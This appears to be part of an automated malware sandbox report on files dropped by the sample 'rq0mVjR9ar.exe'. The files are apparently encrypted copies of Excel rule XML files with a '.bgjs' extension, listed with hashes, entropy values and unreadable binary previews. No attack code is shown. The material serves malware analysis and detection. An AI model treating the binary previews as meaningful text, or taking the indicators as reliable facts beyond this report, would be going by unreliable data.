Preview:	<?xml.%.)..g.p.(.a..E..B>V..8.$...RMt..@.6.n..W.\|....=..._<o..rcM.........S...&....c.<...`4.Z..B'...~N.......d...:.#.m...a..z..mz.......?....a..)....k.._.....i...l..dD_ H.......@.!L..wI..BRN5..6...a..K.A..3,(M.p..#..8/..q.~.4.;;[?i9.V.....hEPD....2y.V.R.\..1....-.'..V...N@..Y...".g:.]8/.g._.>...g=....a.?.DW..]...!./}K.....>..K.%....2{.k.:..`~.].....k....U/l.-....t.e..(......i..tKnK...lSH..+..z..\..`Zu&.%TV.g..]..=.%B..f.FUDtg......"ka....=....x..-.s....'.Or...G>...a.....r..........@%._G.D.S..N-..P{......\.....i#_..y...5.<i...-.}.y...`T..;4.q.K...Z..f./.A.PlD8....O.nMxyh[.._K`.~..N....f.J.C..).>...V;.f.dH..;3.@=........6....l.0.u.....$3..<.}^~..A.&.x... .......s...D.Tc~S.m&..e.."....,/.i.....\|;O.y.dC.0...4]..3.1VQ.H..&.b_....F....DM.0sGi...e...R....!..B..Y..Z..axt.b$J.......?...f..<...&gd..N(.E.}..>..SD.n.5:~...*....,, dE.L+.b...a...X....u\|...\|]....ar6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170024v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	7.911223711181027
Encrypted:	false
SSDEEP:	48:5UZgxkeR3QHEdM82j0dugBdINo1tcdgPXJxCSakOK9BcaEoxdj6ZKhiD:5WeR36Udz/2SakhBcaA5
MD5:	6A8ED23D85ACB7ECB4695F82213AC1DC
SHA1:	8CF5450A55F1AE22FFCBB372C8A16D06AF23091F
SHA-256:	E4F1022EF76CE20E9ABDA13698D5F1EF785E6EC120C275CF5CC0456B2B749CBA
SHA-512:	4BD45912110C33FE79348BB0CF7129BFF548100A3658DC3F8C6BBC628089B8EB84EEF52BE701BE31052981DEFDE654FACFFB4C71AA42296EA286EFC911993144
Malicious:	false
Preview:	<?xml:.....A..G..>...k.+3.DZ1...q.....W.,k\ie.,+../.B.....l.{I./.in...B.x^.....Dc.sc/.....Y-4<..........1..).z{..#?..W0.0..c.G...Q..0.D..m;..B.+....3.\k.._:....y.Z.H.V...i`.4........'.~T...q.:...i..UfQsh..../@B.[.N.y..}.......P'x....U..}.n.'%5.;l.)..g0C..z..0u.x...c..[9...x..[R:..[.$....R.O.udg+...:)..#.Y2....l..#7G.F.._{.VE..k...Vg.D.@...y.e.Vp.D.3....9.9q].j..N(@..@..q..i.C.(?...&..0..<.dD.?...e::..F..+kf...$..rB.+.5..4.G{.3;."....S....i.U...%!.,.....RP......}F.`i...c....A.w.:......#9...k.....e...2.3`U.s0..7:..sc...,...$x.R=2*..."...k6M...f`_:,..!.7.o.@b.4?.S...x.Vh...7..n.m.=@......<....s6U.d1.'.'..I1x...?......Y..[....2/..J..w..I.\|.{.v....,...a...W......sc.C/......bD...v^..../ .^..4.<KW..t....\|..u/^.J.f........ '...`.5..{FX_F.0.....>4Aj.^Yn...~.t5.g.mE&...Gm+..\|.e.)...p...q...BR......49'.&n..}$.......Pikj!.............K><..~.X..b..CW.K..W...W5......d..t.........:]...!.....4.r...l..\..<.C..j..g..1..(W.g2 .8M.R.;.r).Y....x3....&=...;`Yr.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170026v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.898694380183262
Encrypted:	false
SSDEEP:	48:/IxJLUzeNzQLM68cOhQ+mhrED+v5s+0eaiD:/5zPLM68cOQJg+v5s+00
MD5:	2D97251394D716DA4EE826C1D420A99B
SHA1:	67B0F58B7AC7CDAD4700A86983F2F2FF3EC0B0DE
SHA-256:	2EAC304D4E605213AA97FF417DF8AADAEB7296150394D264226048BD2384C752
SHA-512:	37C838899B93A17307B148B21488DF6A4E86E62AD314E879814E8A27A739DABCE10E7EF47CCD81D22D0CA55A57863E7C972828AED879DA415581ADDBE7DB582A
Malicious:	false
Preview:	<?xml/\z$%.[....?P.W.z..C..T'....9.J..t.nH..{...5....$R.h....:.....k.j..(.J.F......H.........L..4..?.[..K)n...j.......F.6W.,.+9...(..6,..D......8;F...[e..#.v.....z....C...x...H^.s....sQ.{.P..f ...'.=rY.b.,a.Z...P.W....x..,........p;"{.b.>................Z._<...h.}...9ZvQH.q.U.......`....k..1X.,D.$9E.v..7ti....t.\|H...G.-@.r..>.....\>..@.MB....7.}\}....J.6.&D,.!.1..&T....5.D.15.uY.B...X.'U..'~d.!.~...,....X......0..0.......M.p....,-).k.u.+j5g...4.%.X.5.m.....b..G4h.g{<A..y..=...bc...[....4o....Z...lhNv...L:8mPk..n...T.-Ae..@.....l...>..S.....~.#]...=.U......tDn.....&....V....F..hi:....\|..Z.....s.h.JZ-....Ny.....uR...D]...!O..).0.=3.z*EJ.n.]6...G..wCL".I...-...p.QSrM.P........v]...<..w..f..t..`..z.H.3....HAz..!j=.C\|Nt[.ZO:c.oes.}...+.u.....'.]..$M..8\|......b.......@Bpy.%.L..X#K.P;y.....H:....:\|..................w...%.....k..v.$_.........?Ql.=j...^..$.,=..\.KL...gc..F,...!)...X?..a=g........;6:...A..?C.+-.;..(.@.A....i..g

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170027v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.745388859789153
Encrypted:	false
SSDEEP:	24:onoeyXnBUKnLOOD54Dl0s5D1ojwPdWhcA2PUi0qOfiTkbD:yoeyXnqciOV4JJD14wFrP70qviD
MD5:	4103AACB802C64DB9756C3600764D660
SHA1:	51F5323CB2698FF7FED3DAA97E076B6528D0E488
SHA-256:	C8BD952469B6DEE4FAC3917604554B3E596059B4C8FDE2B38454B3115A98CB91
SHA-512:	A42F432DC3192747F1FE356A2CC97F49DBE5793BA366A58F7A0F6A901317509B3BA3FB89CDAA5F5087E51612ECF6DE68CC8CF865E6D407D6098A476D1E6413B1
Malicious:	false
Preview:	<?xml.\..l.".g..S_....XK.{..s....Y..[.n..v..@...P..it...Sc.g.q7..0........d.EC...w..7.tC....../.UTgq..W..S....?..N...J......R.......l.Z......k4h...L...).y.NN]...A.+E ...>c...{'0eV.t..l9....<..F..&.;G.......^h.V..$..S\+.a..@'....\...{'.G-..7.`.^.%...ATz.+q^0.Y..Q.w............H..`..a..@@.6.....}._.....cr.<Uvj.....E].....=.I...LDj.5s(.^d..hT... .:6..x..s.8.....V..>{.w*.hW....M..".O:e.u.,...-g-..<...5....Q........$..ga...."L....8.........i..D..TkV.W2.K..Vo...gFL.u%O..V..1..4n...^.{..{..XLku...!.D#z.u.P.`..X~..I..........S.h.5.g.=}g..R..$"..W..s....7/.x....;..`.q{...`....^..Jr...........(.......:u.#...../9.~....9..]..K.0.h.....i......5;i..c.x.+.._8..-....l+..(.6e....9g.G..~.5..U......uZ.-.._..3....oC-.........@.....e=.m..I.b..4D.>.....vm......G..F}1......6........~.e.....p...2..EV.l...>.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170030v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.752559056994007
Encrypted:	false
SSDEEP:	24:Rc0MbUvwATaGjYw2hfjy5FGdPWQZYi1JZuNdiTkbD:Rc0JTanxO5FGdPWC1ns0iD
MD5:	16B5285B3208DDC31BFFE035100BDB97
SHA1:	8736EE84A07474A812148AEE7B87E1B9F6B99DF7
SHA-256:	987E5EAC43D5E5BAA6CA8357F40872E8FA3A5194B92F37A308BF4EE8AE01F71C
SHA-512:	8B6A4D4214C53496425DAD65AA883AA97B8BAFACA759246F2882A6CBEAA7A6C2D398CC5A5EB5C45F78A776C80328D29102F3C50C86BF584D2957C4CEEE00A308
Malicious:	false
Preview:	<?xml`z..al)Q"...(........e.....e.W.]C5.5GN..X.n.N......]*..Y.{............,.?+.$]..6...F....k]..!.{.J..f...(.]<O.Zk.......!_Q..T..#kW.....Rc../......<u.U..g../D.o>_Ct^...CTy..xW..~.\`....<4j2<4...beM...qNrmml.....o:}..J.....[.:.Q1....).[..:.D4.....G.i..U.5.n].IN_..:..yYT.K..../..+.r...=(....,..2.....s..o._...2.[D....].5#.0+.l..xnT....f..Vx..z.V...Sa....a.....T.^..D.@.[.S.......1..J.M.QG...+y&..?....w.......s...s...-.1...g..Y.>&..9..L)..f.lu./b.R...."...J..N....0...K.....o...g9,.....vp.+.=&..ah.4..l..t...4VpC)..o..].A.h.....y.Z.?3:.&.sn..I-..C..:.r.[M......f..]e!.z..'.iP...\|4..JG.[..}-....u.....R.D....W.~..gDpG.`......b...l..T...C.t.)..`...%6..cW..{\|..meId..]..!..I....=s.G\.L5...Y..E.O..0+NXu...&.om%Q,X.G."<.<.n2.'..\.c.1....h?..a.'~f.`.3.,aC17.....0...O..I.A.B.cw/.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170032v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.749025578915076
Encrypted:	false
SSDEEP:	24:ZAlqWUYYWMhf+ed7Gom9dHQ8iJedMyFd2YhMXmSHiTkbD:ZXFMoOd7ib0d2z2biD
MD5:	58B9998AB5B4B2F5C022CDBB9E44A464
SHA1:	525433B4E97FD79C738CA05EA896A0F74961ECE2
SHA-256:	9F9C5B77B52782882972175DF8E108A3DD997D00B8E77D66954FBE1D35F36E57
SHA-512:	8AC165ADC86D3448629C884AB0A10BE77882D373FAA743E1BE4F7DC1B9FF77C236F1FB6190E33BDBCE911642D687A98024A4B4C34F10474A8BE95B2883C4E2B6
Malicious:	false
Preview:	<?xmlNo2a..j.-..k."....1Y..\|n..Hd..C....^.=_.06....\|Y..PS..N... ........k.I$....pl..u%..0..L..[./..u.{....?..Q.H......s!(x.Y....nR.....q.0.==.`..Y..$.Q..C.U...o#.O..q.Cj].).UxlA.ym..o V...a.....~./..P.&.....{._6...K.......1...N.1t.?..... e0U..M;..4<...J<..E.6xZ8...a..W..A...m:`.=......?.X..D.]...U...D...$...J....C../...)........D..B..R..T.....x#..C-1....W.....L.#.:........$O...I...5=.r.%3.C....!".#L...x..$.......-)...F.x.!....}..jR..c.."....?...`...)..%jj.sl....F.Y."2..{..6.R..L......3f........A[PI#...h...Sk}ba4CR.w...w.W.}....5m.7.H;.ka...D...H.1..U.a7.o....2..%...oD...u..eR>S..)...tb.8d...`..g.S..Y.b.tK....4pz..0..R.K......C7D.+.FB.....;k..ke]{a.....mA..w...[s2.k#.%......J.'zl+fYe..}.9.._..z7m`l.....6..N}.. ..ku....j...q.=.}e.y...)`.....W{.....8.\|C...".'.1.[_....5s....X..-..Q_.Q...U._.6......GY).*.pmP@....(@....O..h.7uJ..3...%....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170033v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.719685436949679
Encrypted:	false
SSDEEP:	12:lDem/J63p785yE/MAwWdsSKaFVQ3TjgqO6ylXUy/bRlFrdNxI0pm/Qax/rzRixpW:lDN/43p785zEAwHa03TBymKj5dNxISmZ
MD5:	CB4F578CB3CF92E51028B1C0C6DDDD08
SHA1:	0AF9471C5B9FD540B5C7721B14B99368E110A386
SHA-256:	CFB805C60968FC083E0EE7E25489D24D2EC1E891142766EAEDAB04D5133C0491
SHA-512:	1B312A9612BC7FED0F0A9DD7D22FC6D15F833EF4BF61449C863F291CC5197953DBE1C16E0935721AA89B65E0FF8258663E4F15A7E930C3B1862457B42B71DEC3
Malicious:	false
Preview:	<?xmlO..H...}.k.....D...T.......D....(...s.m.p..s..)!../l.,wQQ...L.e?.Z7h.S\|.w=l.K.......3r..HGYh..gG....Q..wZ.C...I@.5A.I.8.b...#..5....<.4S..?qi..q....4....G...&...<Wz.W.......i....l$K=^...E.I.l.3c.}.[$q....Ed\>...6....G@.%M...Y.......t9gNT../.........f..h.....g......4..%..b....<.s.....5}s.._o.@n.i...m...%&+F....-.q...z...Mi.^%.?.P..0"m..".7...:..H@Z].....+[....x..m..t... $..)x..WC..k....6s..m.......]..&~.`!....'._.I.\?..$..].M..Y...;.{S...P.....RyuB.c....D. u).5..+!G....Y..~...n......kO.W..0.{i..w^?.,.@H4.(.g0..<8_*s..[.t[?.:.Ym...........0....'..J.{...rG.=...E.d....UW.............u0..h@.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170034v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.796950848615452
Encrypted:	false
SSDEEP:	24:mnsknjwt5Qn6Mo+g+BKtPq0R+F26e8frT+85sX+RDP6XC7fcnOiTkbD:m7jw7Q/oxIKA263rT+85sXkT6XkcriD
MD5:	D569294B79091B74BCC1D58FCDAB3920
SHA1:	E22F0551D98D14BE052D5EBBA2AA8D84E1292F35
SHA-256:	B650AC29B15F1CB5F1E53EEA87F5F47EB8CA01F25EF8E46CEDAED6A224B804C6
SHA-512:	10929C3C94BAEB051CBEBFFF57D1343EAF93DF0EFDBEB896A722FE72B9F62243C3870932F0A645F272E30E6A616B5B647130C674BC351AE8A148D7C9FB5D67A0
Malicious:	false
Preview:	<?xml..G.8.F...J[Q6..u{.g..9.RJ\..C.k.f...?t...U.U..s.h..T.........Z.............u..n(.Y.J..O...}..~.T..A.v...V......\|.....q.l..Y.<..o..:.<M..Y...g..A...+4....?U".w....p.....l..O.Cy.W..bJ(...YFe;.9a...].!2.}...r1Ch.;.R.;....h....5>X_B..B9.uw.Tv\gh.).C.1....'0.Fd..tO....!..U...Q..h....h"..B..oo.......tP.3.4..a...:....[l.X..9.....W6!....w........~.E?1.W./jY.OO..4...?.E.4.:.>..n..i.`2...N..q....V.>..~.......4.C..3.h.....w.."UM..'+.u...n.t.....l........\......z.l.RKs.:..N..~v.....F.....m,....$#.=...3...[......9v.2....TVS.{.W.k...$..A.e{..Z1.d..f!O.W...U.E.PA.%0....S..=...M. .A......[.EIU..e.g..^..&.,.R."..i...<..$=_.O..........`.f.o.m..7.aKi.]..%Fo[X.JN._r..[T..'....y..f..R`-*4.2A....c]...\|..p....%f5Ur==\..S.w...f.63So...+..E.Oh.N...uJ......).h.2.....T}.Q...+..7~..:........z........u..h.y.Ke.'L{ A.,s.S...~....`.../$.tYk.7."...?.....sO...;M&.......t...P.A..d.c[....p.E.v.US.k.).F ..e..I0..{....x.I.[..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170035v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.836954612377455
Encrypted:	false
SSDEEP:	24:Estkz4QZMAxnrvB/4yUnyzZtnmR8YRXmHoYtvXiTkbD:EBvZpUyXmRHWHoivyiD
MD5:	1FD913C21B104E986BC590B44F2ECB0F
SHA1:	ADA70B5F191F60F895DB69490AC9C88FD3CBD242
SHA-256:	096C223F88682A1ED4E54CD6F8A9D81A049287EEDEC6E0DB51D121BD5ED03BE0
SHA-512:	8D64C9D8E5AD99964901AE132A5B74E05F4E4B7AD9D8778A4C2984611438ADF1D85783983D705F96A6476664D08C7E340D08B7A830D2E3F6C9DA0C887A120866
Malicious:	false
Preview:	<?xml...E.j.......e.m(u".$N.....m.m..(.0r3 ...8F....[w"iX.QsXN.v.\|.c..={Z.DN.........\|.#)6...gw..e.....=..l..zL...Z.Q..P'...E..N.v(.w.":.~.u.A]......d.(..a..o.....<.%y..Z<5\.?:N..x....h.g.L...M...=.....6E....5-.0....).....[.#.y...d.....A.My ........J..A..`f(...!'B..fuDW]..pHV....^...dYH;J...:n.......(q..a'?.Vf...A!.......P...F....b.x.:rT...S.r[!;..).Y....TL..OV...Az.Q...?)PY..[+K....^...82.w..n...;~I..Wr.vk.Z...Z.R.3V.xS+.QC..)...=......S..../P.}...eK....U.Uv.zQ.G..'..r.7{(........C...hs.u.U\l.!]...c.&.H...=.KZ...l.px..\.]k ......V.^E.=..g-...Qg.=.v.g..K..}.....-..L.y.v.....Y..we..L.f...$?..T ...\..c..6...e...c....v3%+...\.H.03.......,W._....\|i..fF....%)T.....{m..[........O=..:.....a@=...@@......p.9..To..s.,. -...\|.Vb2..l0..3.F^.R/W...t.t......I..Z_..8&.T{..b....N...Z....!v..\Q.8c.:....r...+.\q..0."/E....V.T..+..F.3nh....w61Me.....H..r...\|..^.i..s.@.M?7.M.:..=....^.....S..M...6.u-,1....*.9......G..W.\|.j\|hS`.."...HbmiD..>F.E8o....,.{...Y..4..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170037v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	7.862580530009207
Encrypted:	false
SSDEEP:	24:IlJ0dDCz900KKDtzdWISbp0vMKjCiW/6c5dDolhP9Cwvr+hQfplkN6nMjUIY+XUB:S90XKDtzwISbhVFZ5dSP9jr0QfkN6n02
MD5:	E3CD005CB965F2B847BB63DC1C5F838D
SHA1:	2BA5A1119CC14574C438F2601841385160DA3B3D
SHA-256:	0783D64B2ABE10154AB6696E83356DB98902ED4E3656FAD4C1DDE3F7D4CBAE5C
SHA-512:	9B5FEEF6C6B537B4870E6A770A6924A8AF245C930109FAB64609FD69146EEF2C45752A0EC0619CDEDB7FD2069BA956D48CAA9FFEFF5F454FF84182BA030162EC
Malicious:	false
Preview:	<?xmll...z#....rnt...0j.~....%S..?.Y....?\..o....j..!w.\..5H....I.z<.C.\|o.x..j...R.'....V......-3..9\|.&.K..0..M...2..`.../4..z7V.0.<....Z'.o..J..m.J..h.OT.?..C..J..~x...cj.r1........Wg.K.o..+.........)......d......V7..x.....4...!5....^.A..5.E M...4.....l...z..C...F....p.M...q.,..t...w...>\|.J,3..G..$..Tov.....f..fdl>....{M.._M.........".o/l.3M2=.M....5).m]2`....,Y\|L5...Qw..........t......S.....P....K....l.}..j.N.F+...;"..\....>...K...EkF_.O..V...p.F..F$.g.....4\|..,..+..u.....dU......*..s..CIC....a1..Y..H....F......^..X.1.]....[Ee....l......{.k.f..,.....J....._..........Ikn.V7...=.`..O.P.Cd...eu.Y........%......(.b..A_.._.... .....!4......].~.B.0.Q....3kr.2.L..f.t.5.I.g:wc..!.9M.../A..{.7.zxp..7s.4......_...QjV........:..........0`..Q.....yS....F...Ab.N.%CU&l...h.!.3..yU%.ou.\K8....a. ...n.iK...m......,.O."..X+.....9....`qR.....W.:1...(...I...qx.n.;....].".._.Y...g.....x..?..=o.fEy..w.d.n...-.........6.',SN.`s....K.#..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170038v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	7.794772568016137
Encrypted:	false
SSDEEP:	24:FXrr9prM0JI/WqM1V4VmSQXXEU773OQ/lRZHRYtfTViTkbD:FXrr9NHJsWqMf4VmNXXP773hX/YtgiD
MD5:	C850146ACA24C5838C337D60B53262D6
SHA1:	E66D45FA3486E18B7DDAB9EC5EFA4D840CDA8185
SHA-256:	90A7B31F0C740EE8DAF5FDC8F20878EB50F4C08FC6B855DB3847CED33F06409D
SHA-512:	1D474ECA7E59BF1241DB68D44F7DF5CAAFC530F535D7890693CD0A3BBF6DA52C80B330324D22A8A6F2618C7B73F5402FF9099D1C9F57F4D26C257EEEA0AC6621
Malicious:	false
Preview:	<?xmlc........`..T[Y...l.).`.s..B...."tk...h.?>.n.0.@...H.U\|........1.O.]..?._.kX...I........"]Kl.2L.RK..^.%..:i....V._....}..0.(R....{.P..@..\|..(..q..w..Z.K1......)...2.?.....k...l....FY9w..C.[."...m.s.b.)...j....3.'l....gk..T^...(....F.!.....h..A...@lF..:...)].@x..\mN..!...k.M....^7&a.#.......^.Y.&."'n...X.BK.4..!...".h.-C..8...5..+..E.:....../t..Q..V....v......D.z;..b9LW&B...P.....=%ns+K.-{Q.43...!....CU.b..;.a.Wr.......n.......g....;Q...i...b.Ni.I.E.dP...9../2\.._.(D:n......{.=....5K.9K..9qN.U=VtM.a....oH....].4..Yi......_..... q..P.B\..._.Qn;.z!.c.%.....S......@P@..~#x$...j\|....B.,kZ..:.b(~?.?...../.'...a.....-.....D.P..IsP.O].3U...".V.m..I....`!..R..9H[)Iokz.$B.oiZ4.>..F....J.F2d.,.ZX..4.y..y.'.l..q..L.........*SwS.Zcu.-sp-..\.88.d&.-.@I.]..$.....D..8.>._.<.......%N3..`^}..e]6,..w.:Q\_Z..l.....,1>.D3.ZQ.i.....fX..D.).i.d.a6{...u..].....8.)a.D#.}.K..P..'..\|..C....v.e..Wq..L.11)...a.Td..%...9...N.._.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{3

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170039v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.775133297219224
Encrypted:	false
SSDEEP:	24:CuYj04aJDlwLtiY2DeGLOAwOw0yXvGiTkbD:CfjPLMfpLvc/jiD
MD5:	771432B76B854E7226515388D523B1D2
SHA1:	4B762B887225BE79B9A4A307FA67D55C4B150423
SHA-256:	EE32339CEC8A4758EC28DF4AF40C9E239FC241AA7FA10776E6F65562BFBCB946
SHA-512:	401D4678BD3B8AFEF1543D3F4AF02CBADB2BE9E9A8460EB583AE0BEB01103F0B5F9D38459263666350651BFFB62157BCE5C3196E2BBD3CFB6095F40F8232C762
Malicious:	false
Preview:	<?xml.....v..)....I..;..3.\.;...;...O.Y..:@.)@.7.....;6..f.-......&...Xh.q.lL.H.E......::\......K`....-..t.Ac.k.^....j.[Q;..H......~.......d.3mja...~.....V.\Z..'.4h....Pd.>..........'.!....$...20....-......`.jk.@.bn...}@?.pz..P..Vx.u..C.8._..XOs...f..S....).wO.FN`....b.U..:...N....5....J$.....XJ.XI...$B"../.b..\|..c..s.n...iH.7"..X..~....\.8y......z3.B..!w.Q2:q!)b.L&)<..L..........N.xX..gAW.,...L$\i..K..5.0T..0H._J.<....O9N../..![s.....b..3...Cy...sr)....a..7C.u....)/K...L..F.P..Z=`&gD..-b.....$.....@...l........,I.3n..p...\|..nvs..I...CB..D).....>N....K..z..nu..o..-..E6s...^...r...f0.p....-.....w.....F.....C......Gx..lnp}.](...4...../n&..1+I.vK.MRC)..>.!.G.V...z.Z.L....Lf...^o.K.S...=..n......H.M.H.}.Z. ...Uy....l.#6.L.,<.T.....P...<.e..V$n.#y{...l;.p..o.g...._...bA......cLO5c.......1....5.R. .(.cP.M$.?.fr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170040v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.75449919195508
Encrypted:	false
SSDEEP:	12:Uef1Qxt8uznN7PzmA1jzZvowmailKort2InFExdvF9x3cV/xup6shQixpZacii9a:V1Qxt8uznlZjzZvmK7dvDxsV/g4s6iTW
MD5:	BD4168390EC994549632050AB2976B1D
SHA1:	677C51A7C1B96BBB82725C5FEA3B749F1EF3D46F
SHA-256:	B6EB50D1A3DD1AF64889EB216C7A7FC64A291750F4C6A41BAD24C41DB2ACAD07
SHA-512:	987FB4C97E3B7259545B9F4A2C479D9E78FDB7C88DFE579A24BF9E101D495A029D94A109D72935BEAA2F0570F96654E9118E07AB635B81CA531C64E515B4AF63
Malicious:	false
Preview:	<?xml.....c.e1..L..E..cO.r@.2........[S..Z.....[....4....... ...#Bq[n..hh..t.b..C.aX..+....._M..r..C..........\|.B.U..2.#.........K.....E....cp;...pL.U.f4H.O....9..e ..n..+6.?... I..&^..........Q.K..]\P..R....L.......F).-{'...l......fI..s{...!...}..99...o....=8#'.v.`.'.rK....u...yt...x............\|"..up.\|...U+\|a....N..^P.0u...\|P..9IE....[.5.`..g...=..~.....kc.....9`.w.+h.m&_..LR..6.%\...............\.....9..'G..G .,.[`.M.mE....T...iY.e..X9...<........L.U.....t.I..w;.2$..,...+..{....R.x!..l>....^7.}.,$..k.)L...T..W...1+.. ...^....f.$..gQ...g.(..o.;..h.........=...W.).:Q....@.j`..S!.0#.R}.....(.i..Uf...T+.jr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170041v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	7.778678710989852
Encrypted:	false
SSDEEP:	24:P2y1f4cjaQWEZ3bB4yzkoskfwRm+FaeUT1UebiTkbD:PnO8aEZ94wURm+FarpUeOiD
MD5:	F12B9BF3E4B0B35E5CEEAF105B76D28A
SHA1:	48D3293EE86358DF803EFF664EBBBD3944B22DEA
SHA-256:	84172B201C00161B208B602F5068B6F71B8E16D66C21816A72EC271DF6522888
SHA-512:	4C58966B6D98ACB0238300C1A3E1DD9E91B360B532B0EE7D05DB8A38F6AB8E4863BD3B79EFB18697875D802252BFEEA540754614D778BE8663DFABB1FE222FC7
Malicious:	false
Preview:	<?xml...^..+....e.....~....Yt.A-......h.K.&Pd.9P..y/......br.J."...H.H./u .>o.%..z..t...g_.7.=nh(b.....w[g.)..b..7...\..i..\|...W..\U..K..hy.F..x+)DU...Y....3'3..$..ywAx.. ...{.hA.U.DU......R.c.u....q...w...+..yQ.IK..:....Y...I.4...;..........w.g.g...$'.3%..\ <&@.....g0.;...&... .........l-..rHD...x.?.b..6..x...`V>.&H.s..7....V<.....y..C.0...5.E...>...e\|..Q2.`;iz....W..#0..6..X.La T.6r...0.0wB..."x[....(.N.?.B..$^zJ......l... ..Y.M...~N...U..y.....Y...\.D.[.j.D....A?....C.,d..j... .b..C7.....p.Zf.s.z.:.h.........s..)......#..)..+.\|....O..^...8.9.x..`z%...^..oj..p...H..7.{.R.2....n....2...o.^;.'...,.....t8tlR...Ot....H@..G..4(......i...i..2...Z7.d`Q.k........^v..o.p...K0AU.7....G..-....(..8..u.~.`.?....n..>.\|.F....\|a.z.W.....(.....m.R(B).7C.xj:r.49......{...l\pLR.(gI..5......M.#.......-.H.....j.M..5>w..N...Y{.E.i.S,\|l..\|... ...D.PH...j.;....^..!.1.z....{s..^.M.U:.\....c..Q0m.ej.1.v..l;.[..j......J....W..6.FX8..M@>...c.M..[U.:......4.!

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170042v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.791563071927932
Encrypted:	false
SSDEEP:	24:bw1NLWrrvWVD8R3/HpDa+vjr9Lw9RRYSrGrcVEQwiTkbD:01NYrvlR3fp7ZLMRR/rGrQBiD
MD5:	65DAD67A9B43B679A34C3995EEE2286E
SHA1:	723EA19E886CAE77C7A4A6ECDB4697CE74AEF227
SHA-256:	F7566611786163A93DF895E5BDC68E8221DD8E732193E63DDEE85A47F0F81099
SHA-512:	6AE902CB85B263CB932FA37866A70FDDC59809C2E14C6776EE842C6711E7288B6A05F13AA830510305C75FA847FD6536FB85BA3C2C238774C83E31525829DCDB
Malicious:	false
